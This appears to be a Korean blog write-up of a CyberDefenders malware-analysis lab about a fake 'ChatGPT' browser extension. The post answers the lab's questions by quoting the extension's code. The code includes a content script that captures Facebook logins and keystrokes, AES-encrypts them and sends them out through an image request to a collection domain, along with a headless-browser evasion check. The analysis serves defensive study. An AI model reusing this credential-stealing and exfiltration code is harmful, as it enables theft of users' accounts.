SEO

[Malware Analysis] FakeGPT Lab 본문

Wargame/CyberDefenders

[Malware Analysis] FakeGPT Lab

Crain 2025. 1. 6. 10:46
반응형

Scenario

Your cybersecurity team has been alerted to suspicious activity on your organization's network. Several employees reported unusual behavior in their browsers after installing what they believed to be a helpful browser extension named "ChatGPT". However, strange things started happening: accounts were being compromised, and sensitive information appeared to be leaking.

Your task is to perform a thorough analysis of this extension identify its malicious components.

 

개요

문제 파일에는 js 파일 3개와 manifest.json 파일, ui.html 파일이 존재한다.

 

 

Q1. Which encoding method does the browser extension use to obscure target URLs, making them more difficult to detect during analysis?

{
  "manifest_version": 2,
  "name": "ChatGPT",
  "version": "1.0",
  "description": "An AI-powered assistant extension.",
  "permissions": [
    "tabs",
    "http://*/*",
    "https://*/*",
    "storage",
    "webRequest",
    "webRequestBlocking",
    "cookies"
  ],
  "background": {
    "scripts": ["system/loader.js"],
    "persistent": true
  },
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["core/app.js"]
    }
  ],
  "browser_action": {
    "default_popup": "assets/ui.html"
  }
}

manifest.json 파일에는 Google Chrome 확장 프로그램 관련 정보가 정의되어있다.

그 중 loder.js는 백그라운드에서, app.js는 웹 페이지에 삽입되어 실행된다는 걸 확인할 수 있다.

 const targets = [_0xabc1('d3d3LmZhY2Vib29rLmNvbQ==')];
    if (targets.indexOf(window.location.hostname) !== -1) {
        document.addEventListener('submit', function(event) {
            let form = event.target;
            let formData = new FormData(form);
            let username = formData.get('username') || formData.get('email');
            let password = formData.get('password');

            if (username && password) {
                exfiltrateCredentials(username, password);
            }
        });

app.js 코드에서 위와 같이 base64 인코딩된 문자열을 찾을 수 있습니다. 디코딩 시에 www.facebook.com 주소가 나옵니다.

 

답 : base64

 

 

Q2. Which website does the extension monitor for data theft, targeting user accounts to steal sensitive information?

Q1 참고.

 const targets = [_0xabc1('d3d3LmZhY2Vib29rLmNvbQ==')];
    if (targets.indexOf(window.location.hostname) !== -1) {
        document.addEventListener('submit', function(event) {
            let form = event.target;
            let formData = new FormData(form);
            let username = formData.get('username') || formData.get('email');
            let password = formData.get('password');

            if (username && password) {
                exfiltrateCredentials(username, password);
            }
        });

또한 facebook에서 username과 password 변수의 값을 가져와 exfiltrateCredentials 함수의 인자값으로 전달합니다.

 

답 : www.facebook.com

 

 

Q3. Which type of HTML element is utilized by the extension to send stolen data?

function exfiltrateCredentials(username, password) {
        const payload = { user: username, pass: password, site: window.location.hostname };
        const encryptedPayload = encryptPayload(JSON.stringify(payload));
        sendToServer(encryptedPayload);
    }
    
function sendToServer(encryptedData) {
        var img = new Image();
        img.src = '<https://Mo.Elshaheedy.com/collect?data=>' + encodeURIComponent(encryptedData);
        document.body.appendChild(img);
    }

exfiltrateCredentials 함수에서는 유출한 username과 password 계정 정보를 암호화하고, 이를 sendToServer 함수로 전달합니다.

sendToServer 함수에서는 img 태그를 사용하여 유출한 계정정보를 C2로 전송합니다.

 

답 : <img>

 

 

Q4. What is the first specific condition in the code that triggers the extension to deactivate itself?

(function() {
    var _0xabc1 = function(_0x321a) {
        return _0x321a;
    };
    // Check if the browser is in a virtual environment
    if (navigator.plugins.length === 0 || /HeadlessChrome/.test(navigator.userAgent)) {
        alert("Virtual environment detected. Extension will disable itself.");
        chrome.runtime.onMessage.addListener(() => { return false; });
    }

background에서 동작하는 loader.js 코드를 살펴보면 navigator.plugins.length의 값이 0임을 확인하며, navigator.userAgent에 HeadlessChrome 이라는 문자열이 포함되어있는지 확인합니다.

만약 브라우저에 플러그인이 없거나 navigator.userAgent에 HeadlessChrome 라는 문자열이 포함되어있으면 가상환경이라 판단하고 chrome.runtime.onMessage.addListener를 통해 확장 프로그램을 비활성화합니다.

 

답 : navigator.plugins.length === 0

 

 

Q5. Which event does the extension capture to track user input submitted through forms?

    const targets = [_0xabc1('d3d3LmZhY2Vib29rLmNvbQ==')];
    if (targets.indexOf(window.location.hostname) !== -1) {
        document.addEventListener('submit', function(event) {
            let form = event.target;
            let formData = new FormData(form);
            let username = formData.get('username') || formData.get('email');
            let password = formData.get('password');

            if (username && password) {
                exfiltrateCredentials(username, password);
            }
        });

        document.addEventListener('keydown', function(event) {
            var key = event.key;
            exfiltrateData('keystroke', key);
        });
    }

다시 아까 app.js에 존재하던 키로깅 코드를 살펴보면 submit 이벤트를 모니터링하면, 해당 이벤트가 발생할 경우 계정 정보를 가져오는 것을 확인할 수 있습니다.

 

답 : submit

 

 

Q6. Which API or method does the extension use to capture and monitor user keystrokes?

document.addEventListener('keydown', function(event) {
            var key = event.key;
            exfiltrateData('keystroke', key);
        });

keydown 이벤트는 사용자가 키보드 키를 누를 때 발생합니다. 즉, 사용자가 누른 키를 exfiltrateData 함수로 전달하여 계정정보가 아니어도 모든 키 값에 대해 모니터링을 하여 유출합니다.

 

답 : keydown

 

 

Q7. What is the domain where the extension transmits the exfiltrated data?

function sendToServer(encryptedData) {
        var img = new Image();
        img.src = '<https://Mo.Elshaheedy.com/collect?data=>' + encodeURIComponent(encryptedData);
        document.body.appendChild(img);
    }

sendToServer 함수에서 Mo.Elshaheedy.com 도메인으로 계정 정보를 전송하는 것을 확인할 수 있습니다.

 

답 : Mo.Elshaheedy.com

 

 

Q8. Which function in the code is used to exfiltrate user credentials, including the username and password?

Q3 참고.

 

답 : exfiltrateCredentials(username, password);

 

 

Q9. Which encryption algorithm is applied to secure the data before sending?

function encryptPayload(data) {
        const key = CryptoJS.enc.Utf8.parse('SuperSecretKey123');
        const iv = CryptoJS.lib.WordArray.random(16);
        const encrypted = CryptoJS.AES.encrypt(data, key, { iv: iv });
        return iv.concat(encrypted.ciphertext).toString(CryptoJS.enc.Base64);
    }

encryptPayload 함수는 SuperSecretKey123를 키 값으로 가지며, 데이터를 AES로 암호화합니다.

 

답 : AES

 

 

Q10. What does the extension access to store or manipulate session-related data and authentication information?

{
  "manifest_version": 2,
  "name": "ChatGPT",
  "version": "1.0",
  "description": "An AI-powered assistant extension.",
  "permissions": [
    "tabs",
    "http://*/*",
    "https://*/*",
    "storage",
    "webRequest",
    "webRequestBlocking",
    "cookies"
  ],
  "background": {
    "scripts": ["system/loader.js"],
    "persistent": true
  },
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["core/app.js"]
    }
  ],
  "browser_action": {
    "default_popup": "assets/ui.html"
  }
}

manifest.json 파일에서는 쿠키에 대한 접근 권한을 요청합니다. (쿠키 : 웹 브라우저가 세션 관련 인증 정보를 저장하고 관리하는데 사용하는 데이터)

 

답 : cookies

반응형

'Wargame > CyberDefenders' 카테고리의 다른 글

[Threat Intel] BRabbit Lab  (0) 2025.01.08
[Network Forensics] DanaBot Lab  (0) 2025.01.06
[Network Forensics] BlueSky Ransomware Lab  (0) 2024.07.09
[Threat Intel] Red Stealer  (0) 2024.07.09
[Endpoint Forensics] Ramnit  (1) 2024.02.04